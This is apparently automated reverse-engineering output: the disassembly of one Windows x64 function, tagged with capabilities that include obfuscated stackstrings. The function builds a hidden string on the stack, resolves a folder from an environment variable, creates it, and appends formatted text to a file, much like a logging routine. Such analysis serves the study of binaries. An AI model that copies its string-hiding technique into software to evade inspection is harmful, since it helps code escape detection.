Function at 0x1403503c0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Get file attributes
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x378
mov byte [rsp + 0x260], Ordinal_113
mov byte [rsp + 0x261], Ordinal_110
mov byte [rsp + 0x262], 0x63
mov byte [rsp + 0x263], Ordinal_120
mov byte [rsp + 0x264], Ordinal_113
mov byte [rsp + 0x265], 0x63
mov byte [rsp + 0x266], Ordinal_113
mov byte [rsp + 0x267], Ordinal_120
mov byte [rsp + 0x268], Ordinal_113
mov byte [rsp + 0x269], 0
mov r8d, 0xed
lea rdx, [rsp + 0x50]
lea rcx, [0x14032a6f0]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA_1]
test eax, eax
jne 0x140350442
jmp 0x1403506bf
lea rcx, [rsp + 0x50]
call fcn.14032c740
movsx eax, byte [rsp + rax + 0x4f]
cmp eax, 0x5c
je 0x140350467
lea rdx, [0x14032a700]
lea rcx, [rsp + 0x50]
call fcn.14032c400
mov rcx, qword [rsp + 0x380]
call fcn.14032b960
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x50]
call fcn.14032c400
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1403504ac
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1403504ac
jmp 0x1403506bf
lea rdx, [0x14032aa18]
lea rcx, [rsp + 0x50]
call fcn.14032c400
mov byte [rsp + 0x270], 0
mov byte [rsp + 0x150], 0
mov r8d, 0x100
lea rdx, [rsp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA_1]
mov edx, 0x5c
lea rcx, [rsp + 0x270]
call fcn.14034ad50
test rax, rax
je 0x140350520
mov edx, 0x5c
lea rcx, [rsp + 0x270]
call fcn.14034ad50
mov rdx, rax
add rdx, 1
lea rcx, [rsp + 0x150]
call fcn.14032c390
mov rax, qword [rsp + 0x380]
movsx r11d, byte [rax + 0x2683]
mov rax, qword [rsp + 0x380]
movsx r10d, byte [rax + 0x2684]
mov rax, qword [rsp + 0x380]
movsx edx, byte [rax + 0x2685]
mov rax, qword [rsp + 0x380]
movsx ecx, word [rax + 0x2688]
mov rax, qword [rsp + 0x380]
movsx r9d, byte [rax + 0x2687]
mov rax, qword [rsp + 0x380]
movsx r8d, byte [rax + 0x2686]
lea rax, [rsp + 0x150]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r11d
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], ecx
lea rdx, [0x14032a9d0]
lea rcx, [rsp + 0x270]
call qword [fcn.14036c948]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], Ordinal_135
mov dword [rsp + 0x20], 4
mov r9, qword [rsp + 0x380]
mov r9, qword [r9 + 0x31d6]
mov r8d, 3
mov edx, 0x40000000
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateFileA_1]
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0xffffffffffffffff
jne 0x140350608
jmp 0x1403506bf
mov rcx, qword [rsp + 0x380]
call fcn.14032bc70
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_SetFilePointer_1]
cmp eax, 0xffffffff
jne 0x140350643
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_CloseHandle_1]
jmp 0x1403506bf
lea rcx, [rsp + 0x270]
call fcn.14032c740
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x258]
mov r8d, eax
lea rdx, [rsp + 0x270]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_WriteFile_1]
mov rcx, qword [rsp + 0x388]
call fcn.14032c740
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x258]
mov r8d, eax
mov rdx, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_WriteFile_1]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_CloseHandle_1]
add rsp, 0x378
ret